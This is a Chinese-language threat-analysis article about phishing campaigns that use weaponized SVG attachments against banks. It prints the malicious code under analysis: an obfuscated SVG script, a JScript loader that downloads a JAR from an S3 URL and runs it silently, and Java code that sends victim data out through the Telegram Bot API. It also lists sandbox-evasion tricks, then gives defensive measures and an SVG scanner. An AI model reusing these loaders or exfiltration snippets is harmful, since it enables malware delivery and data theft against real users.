首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >武器化SVG文件在金融钓鱼攻击中的演化与防御机制研究

武器化SVG文件在金融钓鱼攻击中的演化与防御机制研究

原创
作者头像
草竹道人
发布2025-11-22 08:18:34
发布2025-11-22 08:18:34
790
举报

摘要

近年来,网络攻击者不断探索新型初始访问载体以绕过传统安全检测体系。其中,可缩放矢量图形(Scalable Vector Graphics, SVG)因其在Web标准中的合法地位及多数邮件安全网关对其内容缺乏深度解析能力,逐渐成为高级持续性威胁(APT)和大规模钓鱼活动的首选投递媒介。本文基于对2025年IBM X-Force披露的一起针对全球金融机构的钓鱼战役的深入分析,系统阐述了武器化SVG文件的技术实现路径、多阶段感染链构建逻辑、规避检测机制及其在金融语境下的社会工程策略。研究发现,该攻击链通过嵌入混淆JavaScript代码,在用户交互后触发ZIP归档下载,并进一步部署基于Java的模块化远程访问木马(RAT),最终实现凭证窃取、会话劫持与数据外泄。文章结合静态与动态分析方法,还原攻击流程,并提出涵盖终端防护、网络流量监控、用户意识培训及文件类型策略调整在内的多层次防御框架。本文还提供了典型恶意SVG样本的代码结构解析与模拟执行示例,为安全研究人员与防御方提供可复现的技术参考。

关键词:SVG;钓鱼攻击;金融安全;恶意JavaScript;Java RAT;初始访问向量;云基础设施滥用

1. 引言

随着电子邮件安全过滤技术的持续演进,传统附件类型如.doc、.xls、.pdf等已受到较为严密的监控。攻击者为维持攻击成功率,不断转向低关注度、高信任度的文件格式作为初始载荷载体。SVG作为一种基于XML的矢量图像格式,被广泛用于网页图标、响应式设计及金融票据可视化场景,其本身支持内嵌脚本(尤其是JavaScript),且多数企业邮件网关默认允许其通行,这使其成为理想的“隐形”攻击通道。

2025年,IBM X-Force披露了一起大规模针对金融机构的钓鱼活动,首次系统性地展示了SVG作为初始访问向量在真实世界攻击中的成熟应用。该活动不仅利用SWIFT(环球银行金融电信协会)主题的社会工程诱饵提升点击率,更构建了从SVG → JavaScript → ZIP → JAR → 模块化RAT的完整多阶段感染链,并借助Amazon S3与Telegram Bot API实现隐蔽的命令与控制(C2)通信。此类攻击标志着钓鱼活动已从简单的凭证窃取,演变为具备持久化、模块化与环境感知能力的初始入侵操作。

本文旨在深入剖析此类武器化SVG攻击的技术细节,厘清其在金融行业背景下的战术特殊性,并构建一套可落地的防御体系。全文结构如下:第二部分综述SVG文件格式的安全特性与历史滥用案例;第三部分详细拆解本次攻击的技术链条,包括SVG构造、JavaScript混淆、Java加载器行为及RAT功能;第四部分分析攻击者采用的规避与隐蔽技术;第五部分提出针对性防御建议并辅以代码示例;第六部分总结研究发现与未来趋势。

2. SVG格式的安全特性与历史滥用

SVG是一种基于XML的开放标准矢量图形格式,由W3C制定,广泛用于现代Web开发。其核心优势在于分辨率无关性与可编程性。SVG文档可通过<script>标签或事件处理器(如onload、onclick)嵌入JavaScript代码,实现动态交互效果。然而,这一特性也为恶意利用提供了可能。

历史上,SVG曾多次被用于XSS(跨站脚本攻击)或浏览器漏洞利用,但作为独立邮件附件的大规模恶意投递相对罕见。主要原因在于:(1)多数用户不熟悉SVG文件,打开意愿较低;(2)部分邮件客户端(如Outlook)默认不渲染SVG内容;(3)传统反病毒引擎对SVG的解析深度不足,常仅检查文件头而忽略内部脚本。

然而,攻击者通过精心设计的社会工程策略(如伪装为“SWIFT交易确认图”)显著提升了用户交互率。同时,现代浏览器(Chrome、Firefox、Edge)普遍支持本地SVG文件的脚本执行,使得一旦用户双击打开附件,嵌入的JavaScript即可在本地上下文中运行,绕过同源策略限制,直接访问本地文件系统(通过Blob与URL.createObjectURL等API)。

3. 攻击技术链条深度解析

3.1 初始投递:伪装为金融文档的SVG

攻击者发送钓鱼邮件,主题通常为“紧急:SWIFT MT103付款确认待审核”或“案件编号86-2025:金融犯罪调查附件”,附件命名为Swift_Confirmation.svg或Case_86-2025.svg。文件外观为一张包含银行Logo、交易金额、IBAN等信息的静态图像,诱导用户认为其为合法业务文档。

实际上,该SVG文件包含如下关键结构:

<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600">

<image href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA..." />

<script type="application/ecmascript"><![CDATA[

// 混淆后的JavaScript载荷

eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,100,111,119,110,108,111,97,100,40,41,123...));

]]></script>

</svg>

当用户在支持脚本的浏览器中打开该文件时,<script>标签内的代码被执行。

3.2 第一阶段:JavaScript下载器

嵌入的JavaScript经过多层混淆(Unicode转义、字符串拼接、Base64编码等),其核心功能为构造一个ZIP归档并触发自动下载。典型逻辑如下(经反混淆后):

function downloadZip() {

const zipData = atob("UEsDBBQACAgI..."); // Base64编码的ZIP二进制

const blob = new Blob([Uint8Array.from(atob(zipData), c => c.charCodeAt(0))], {type: 'application/zip'});

const url = URL.createObjectURL(blob);

const a = document.createElement('a');

a.href = url;

a.download = 'Swift_Transaction_Report.zip';

document.body.appendChild(a);

a.click();

document.body.removeChild(a);

URL.revokeObjectURL(url);

}

window.onload = downloadZip;

该脚本在页面加载完成后立即执行,生成一个名为Swift_Transaction_Report.zip的压缩包并提示用户下载。用户解压后得到一个名为Swift Transaction Report.js的JavaScript文件。

3.3 第二阶段:JavaScript到Java加载器

Swift Transaction Report.js同样高度混淆,其主要任务是从远程服务器下载JAR文件。示例如下:

var xhr = new ActiveXObject("MSXML2.XMLHTTP");

xhr.open("GET", "https://octupusgreat.s3.us-east-1.amazonaws.com/Swift_Confirmation_Copy.jar", false);

xhr.send();

var stream = new ActiveXObject("ADODB.Stream");

stream.Type = 1; // binary

stream.Open();

stream.Write(xhr.responseBody);

stream.SaveToFile("C:\\Users\\Public\\Swift Confirmation Copy.jar", 2);

// 执行JAR

var shell = new ActiveXObject("WScript.Shell");

shell.Run('java -jar "C:\\Users\\Public\\Swift Confirmation Copy.jar"', 0, false);

值得注意的是,该脚本优先使用ActiveXObject(仅Windows IE/Edge兼容模式支持),表明攻击者主要针对Windows环境。若系统未安装Java运行时环境(JRE),攻击链在此中断。

3.4 第三阶段:Java加载器与模块化RAT部署

下载的JAR文件(如Swift Confirmation Copy.jar)使用Branchlock、Zelix KlassMaster等商业混淆器保护,增加静态分析难度。其核心逻辑包括:

环境检测:检查进程列表(如tasklist.exe)、虚拟机特征(如VMwareService.exe)、高熵值(判断是否为沙箱);

C2通信:连接预设的Amazon S3桶,下载加密的第二阶段载荷;

持久化:将RAT写入%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\目录;

模块加载:根据目标环境选择部署Blue Banana、SambaSpy、SessionBot或STRRAT。

以Blue Banana RAT为例,其功能包括:

远程Shell执行;

窃取FileZilla、WinSCP等FTP客户端凭证;

参与DDoS攻击

通过No-IP动态域名(如wwce.zapto.org)回连C2。

SessionBot则轻量级,专注于系统侦察,并通过Telegram Bot API外传数据:

// SessionBot伪代码示意

String botToken = "7369538001:AAGx...";

String chatId = "123456789";

String data = getSystemInfo(); // 获取RDP历史、公网IP

HttpURLConnection conn = (HttpURLConnection) new URL(

"https://api.telegram.org/bot" + botToken + "/sendMessage"

).openConnection();

conn.setRequestMethod("POST");

conn.setDoOutput(true);

String payload = "chat_id=" + chatId + "&text=" + URLEncoder.encode(data, "UTF-8");

conn.getOutputStream().write(payload.getBytes());

4. 规避与隐蔽技术分析

4.1 文件格式伪装与信任滥用

攻击者充分利用SVG的“图像”属性降低用户警惕性。同时,所有下载的JAR、JS文件均使用金融相关命名(如Tranzacție+în+USD-pdf.jar),并在执行后释放同名PDF或TXT作为诱饵文件,维持“操作成功”的假象。

4.2 合法云基础设施滥用

Amazon S3作为全球广泛使用的对象存储服务,其域名(*.amazonaws.com)通常被企业防火墙白名单放行。攻击者创建看似随机的桶名(如seasonmonster),上传加密载荷,使恶意流量混入正常业务流量,极大提升检测难度。

4.3 加密通信与C2分散化

除S3外,C2通信通过Telegram Bot API进行。由于Telegram使用TLS加密,且API端点(api.telegram.org)为合法服务,传统IDS/IPS难以识别其载荷内容。攻击者通过不同Bot Token区分受害者,实现横向隔离。

4.4 环境感知与延迟执行

Java加载器在执行前进行多轮环境验证,包括:

检查CPU核心数(沙箱通常资源受限);

检测鼠标移动、键盘输入(判断是否为真实用户);

延迟数分钟后再连接C2,规避短时沙箱分析。

5. 防御机制构建

5.1 终端层面

禁用SVG脚本执行:通过组策略或浏览器扩展禁止本地SVG文件运行JavaScript;

限制Java执行:非必要不安装JRE;若必须使用,限制其网络访问权限;

强化EDR规则:监控wscript.exe执行.js文件、java -jar启动未知JAR等行为。

5.2 网络层面

S3流量审计:对出站至*.s3.*.amazonaws.com的请求进行日志记录,标记非常规桶名访问;

Telegram API监控:虽无法解密内容,但可统计异常高频请求;

DNS sinkholing:将已知恶意No-IP域名(如wwce.zapto.org)解析至黑洞。

5.3 邮件安全策略

SVG附件阻断或深度扫描:在邮件网关部署SVG解析引擎,提取并分析<script>内容;

文件类型重命名策略:将所有.svg附件重命名为.svg.txt,强制用户手动更改后缀才能打开,增加交互成本。

5.4 用户意识培训

针对财务、合规等高风险岗位,开展专项培训:

强调“任何附件都需验证来源”;

演示SVG文件如何包含脚本;

模拟SWIFT钓鱼邮件进行红蓝对抗演练。

5.5 代码示例:SVG静态检测规则

以下Python脚本可用于初步筛查可疑SVG:

import re

import sys

def check_malicious_svg(file_path):

with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:

content = f.read()

# 检查是否存在<script>标签

if re.search(r'<script[^>]*>', content, re.IGNORECASE):

print(f"[ALERT] Suspicious <script> tag found in {file_path}")

return True

# 检查on*事件处理器

if re.search(r'on\w+\s*=', content, re.IGNORECASE):

print(f"[ALERT] Event handler detected in {file_path}")

return True

# 检查eval、atob、ActiveXObject等可疑关键词

suspicious_keywords = ['eval', 'atob', 'ActiveXObject', 'WScript.Shell']

for kw in suspicious_keywords:

if kw in content:

print(f"[ALERT] Suspicious keyword '{kw}' in {file_path}")

return True

return False

if __name__ == "__main__":

if len(sys.argv) != 2:

print("Usage: python svg_scanner.py <file.svg>")

sys.exit(1)

check_malicious_svg(sys.argv[1])

该工具可集成至邮件网关或终端EDR中,作为第一道防线。

6. 结论

武器化SVG文件代表了钓鱼攻击向“低感知、高隐蔽、多阶段”方向演进的新范式。本文通过对2025年针对金融机构的全球钓鱼战役的剖析,揭示了攻击者如何利用SVG的合法特性、金融行业的信任语境以及云基础设施的普遍性,构建一条高效且难以检测的入侵链。研究表明,单纯依赖传统签名或沙箱已不足以应对此类威胁。有效的防御必须融合文件格式策略、网络流量分析、终端行为监控与人员意识提升,形成纵深防御体系。未来,随着更多非传统文件格式(如WebP、AVIF)被探索用于恶意投递,安全社区需持续更新检测逻辑,将“一切皆可载荷”的理念纳入防御思维之中。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档